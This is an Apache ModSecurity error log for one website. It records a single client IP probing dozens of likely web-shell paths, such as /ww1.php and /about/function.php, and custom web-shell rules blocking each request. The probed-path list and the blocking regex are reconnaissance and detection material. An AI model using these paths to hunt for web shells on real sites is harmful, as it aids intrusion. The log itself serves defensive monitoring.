[Sun Dec 21 21:43:50.982107 2025] [:error] [pid 59068:tid 59109] [client 104.208.116.65:12107] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUf5lhmLyLqWUlrjwyec0AAAAEg"]
[Sun Dec 21 21:43:51.318445 2025] [:error] [pid 42755:tid 42775] [client 104.208.116.65:12093] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUf5l-W0XvxgXMTJJbvatAAAAVI"]
[Sun Dec 21 21:43:51.593995 2025] [:error] [pid 59068:tid 59123] [client 104.208.116.65:12259] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUf5lxmLyLqWUlrjwyec0QAAAFY"]
[Sun Dec 21 21:43:52.030093 2025] [:error] [pid 59158:tid 59177] [client 104.208.116.65:12213] [client 104.208.116.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aUf5mI7NvyNF8ab5VgVNQwAAANE"]
[Sun Dec 21 21:43:52.343344 2025] [:error] [pid 59068:tid 59106] [client 104.208.116.65:12100] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aUf5mBmLyLqWUlrjwyec0wAAAEU"]
[Sun Dec 21 21:43:52.735537 2025] [:error] [pid 59068:tid 59113] [client 104.208.116.65:12152] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aUf5mBmLyLqWUlrjwyec1QAAAEw"]
[Sun Dec 21 21:43:53.022388 2025] [:error] [pid 59070:tid 59130] [client 104.208.116.65:12124] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aUf5mX3dhXne9KX1kgJX0QAAAII"]
[Sun Dec 21 21:43:53.464626 2025] [:error] [pid 30183:tid 30203] [client 104.208.116.65:12147] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aUf5meCmP2zCzk_WZcUWmQAAARI"]
[Sun Dec 21 21:43:53.773914 2025] [:error] [pid 42755:tid 42771] [client 104.208.116.65:12131] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aUf5meW0XvxgXMTJJbvavQAAAU4"]
[Sun Dec 21 21:43:54.074796 2025] [:error] [pid 30183:tid 30205] [client 104.208.116.65:12099] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aUf5muCmP2zCzk_WZcUWmgAAARQ"]
[Sun Dec 21 21:43:54.358911 2025] [:error] [pid 42755:tid 42761] [client 104.208.116.65:12139] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aUf5muW0XvxgXMTJJbvawAAAAUQ"]
[Sun Dec 21 21:43:54.685979 2025] [:error] [pid 42755:tid 42779] [client 104.208.116.65:12071] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aUf5muW0XvxgXMTJJbvawwAAAVY"]
[Sun Dec 21 21:43:54.932925 2025] [:error] [pid 59158:tid 59174] [client 104.208.116.65:12133] [client 104.208.116.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aUf5mo7NvyNF8ab5VgVNTAAAAM4"]
[Sun Dec 21 21:43:55.207422 2025] [:error] [pid 59067:tid 59078] [client 104.208.116.65:34504] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aUf5m8tpsOP1NfIK_qJv5gAAAAQ"]
[Sun Dec 21 21:43:55.501317 2025] [:error] [pid 59158:tid 59161] [client 104.208.116.65:12041] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aUf5m47NvyNF8ab5VgVNUwAAAME"]
[Sun Dec 21 21:43:55.813161 2025] [:error] [pid 30183:tid 30201] [client 104.208.116.65:12047] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aUf5m-CmP2zCzk_WZcUWnQAAARA"]
[Sun Dec 21 21:43:56.176542 2025] [:error] [pid 30183:tid 30189] [client 104.208.116.65:12146] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aUf5nOCmP2zCzk_WZcUWoQAAAQQ"]
[Sun Dec 21 21:43:57.026612 2025] [:error] [pid 30183:tid 30202] [client 104.208.116.65:11985] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aUf5neCmP2zCzk_WZcUWpAAAARE"]
[Sun Dec 21 21:43:57.405133 2025] [:error] [pid 59068:tid 59108] [client 104.208.116.65:12057] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aUf5nRmLyLqWUlrjwyec1wAAAEc"]
[Sun Dec 21 21:43:57.942896 2025] [:error] [pid 42755:tid 42771] [client 104.208.116.65:12193] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aUf5neW0XvxgXMTJJbva1AAAAU4"]
[Sun Dec 21 21:43:58.249443 2025] [:error] [pid 59158:tid 59170] [client 104.208.116.65:33398] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aUf5no7NvyNF8ab5VgVNVgAAAMo"]
[Sun Dec 21 21:43:58.508521 2025] [:error] [pid 30183:tid 30191] [client 104.208.116.65:12212] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aUf5nuCmP2zCzk_WZcUWrAAAAQY"]
[Sun Dec 21 21:43:58.828193 2025] [:error] [pid 59067:tid 59084] [client 104.208.116.65:11978] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aUf5nstpsOP1NfIK_qJv8AAAAAo"]
[Sun Dec 21 21:43:59.166668 2025] [:error] [pid 59068:tid 59114] [client 104.208.116.65:12048] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aUf5nxmLyLqWUlrjwyec2gAAAE0"]
[Sun Dec 21 21:43:59.547828 2025] [:error] [pid 59158:tid 59162] [client 104.208.116.65:12038] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aUf5n47NvyNF8ab5VgVNWAAAAMI"]
[Sun Dec 21 21:43:59.823559 2025] [:error] [pid 59070:tid 59141] [client 104.208.116.65:12030] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aUf5n33dhXne9KX1kgJX3AAAAI0"]
[Sun Dec 21 21:44:00.109260 2025] [:error] [pid 59067:tid 59088] [client 104.208.116.65:12015] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aUf5oMtpsOP1NfIK_qJv9AAAAA4"]
[Sun Dec 21 21:44:00.492487 2025] [:error] [pid 59068:tid 59119] [client 104.208.116.65:11989] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aUf5oBmLyLqWUlrjwyec3AAAAFI"]
[Sun Dec 21 21:44:00.738800 2025] [:error] [pid 30183:tid 30187] [client 104.208.116.65:12188] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aUf5oOCmP2zCzk_WZcUWsAAAAQI"]
[Sun Dec 21 21:44:01.110335 2025] [:error] [pid 30183:tid 30193] [client 104.208.116.65:11979] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aUf5oeCmP2zCzk_WZcUWsgAAAQg"]
[Sun Dec 21 21:44:01.415283 2025] [:error] [pid 59070:tid 59146] [client 104.208.116.65:12119] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aUf5oX3dhXne9KX1kgJX4AAAAJI"]
[Sun Dec 21 21:44:01.982874 2025] [:error] [pid 30183:tid 30197] [client 104.208.116.65:12039] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aUf5oeCmP2zCzk_WZcUWtgAAAQw"]
[Sun Dec 21 21:44:02.415095 2025] [:error] [pid 59070:tid 59128] [client 104.208.116.65:33391] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aUf5on3dhXne9KX1kgJX5QAAAIA"]
[Sun Dec 21 21:44:03.048139 2025] [:error] [pid 59070:tid 59149] [client 104.208.116.65:11988] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aUf5o33dhXne9KX1kgJX6QAAAJU"]
[Sun Dec 21 21:44:03.574392 2025] [:error] [pid 30183:tid 30209] [client 104.208.116.65:12086] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aUf5o-CmP2zCzk_WZcUWugAAARg"]
[Sun Dec 21 21:44:04.102133 2025] [:error] [pid 42755:tid 42767] [client 104.208.116.65:12094] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aUf5pOW0XvxgXMTJJbva4gAAAUo"]
[Sun Dec 21 21:44:04.401680 2025] [:error] [pid 59068:tid 59121] [client 104.208.116.65:11982] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aUf5pBmLyLqWUlrjwyec7AAAAFQ"]
[Sun Dec 21 21:44:04.744430 2025] [:error] [pid 59068:tid 59125] [client 104.208.116.65:12123] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aUf5pBmLyLqWUlrjwyec7gAAAFg"]
[Sun Dec 21 21:44:05.073074 2025] [:error] [pid 42755:tid 42765] [client 104.208.116.65:12046] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aUf5peW0XvxgXMTJJbva6gAAAUg"]
[Sun Dec 21 21:44:05.531286 2025] [:error] [pid 59068:tid 59111] [client 104.208.116.65:12150] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aUf5pRmLyLqWUlrjwyec8QAAAEo"]
[Sun Dec 21 21:44:05.985696 2025] [:error] [pid 59067:tid 59078] [client 104.208.116.65:12032] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aUf5pctpsOP1NfIK_qJwAAAAAAQ"]
[Sun Dec 21 21:44:06.401753 2025] [:error] [pid 59158:tid 59177] [client 104.208.116.65:12074] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aUf5po7NvyNF8ab5VgVNXQAAANE"]
[Sun Dec 21 21:44:07.197477 2025] [:error] [pid 59070:tid 59151] [client 104.208.116.65:11975] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aUf5p33dhXne9KX1kgJX7wAAAJc"]
[Sun Dec 21 21:44:07.768744 2025] [:error] [pid 59158:tid 59166] [client 104.208.116.65:12256] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aUf5p47NvyNF8ab5VgVNXwAAAMY"]
[Sun Dec 21 21:44:08.170485 2025] [:error] [pid 59158:tid 59172] [client 104.208.116.65:12069] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aUf5qI7NvyNF8ab5VgVNYAAAAMw"]
[Sun Dec 21 21:44:08.620121 2025] [:error] [pid 42755:tid 42781] [client 104.208.116.65:11969] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aUf5qOW0XvxgXMTJJbva-AAAAVg"]
[Sun Dec 21 21:44:08.951230 2025] [:error] [pid 59070:tid 59133] [client 104.208.116.65:12129] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aUf5qH3dhXne9KX1kgJX9AAAAIU"]
[Sun Dec 21 21:44:09.210526 2025] [:error] [pid 59070:tid 59150] [client 104.208.116.65:12149] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aUf5qX3dhXne9KX1kgJX9QAAAJY"]
[Sun Dec 21 21:44:09.506760 2025] [:error] [pid 59070:tid 59136] [client 104.208.116.65:12050] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aUf5qX3dhXne9KX1kgJX9gAAAIg"]
[Sun Dec 21 21:44:09.992421 2025] [:error] [pid 59068:tid 59121] [client 104.208.116.65:12092] [client 104.208.116.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aUf5qRmLyLqWUlrjwyec9QAAAFQ"]
[Sun Dec 21 21:44:10.553387 2025] [:error] [pid 59070:tid 59140] [client 104.208.116.65:34510] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blurbs5.php"] [unique_id "aUf5qn3dhXne9KX1kgJX-QAAAIw"]
[Sun Dec 21 21:44:10.886344 2025] [:error] [pid 59067:tid 59097] [client 104.208.116.65:12033] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blurbs5.php"] [unique_id "aUf5qstpsOP1NfIK_qJwBgAAABc"]
[Sun Dec 21 21:44:11.236317 2025] [:error] [pid 59068:tid 59112] [client 104.208.116.65:12036] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blurbs5.php"] [unique_id "aUf5qxmLyLqWUlrjwyec-AAAAEs"]
[Sun Dec 21 21:44:11.658524 2025] [:error] [pid 59068:tid 59117] [client 104.208.116.65:12006] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUf5qxmLyLqWUlrjwyec-gAAAFA"]
[Sun Dec 21 21:44:12.116621 2025] [:error] [pid 59067:tid 59092] [client 104.208.116.65:11976] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUf5rMtpsOP1NfIK_qJwCgAAABI"]
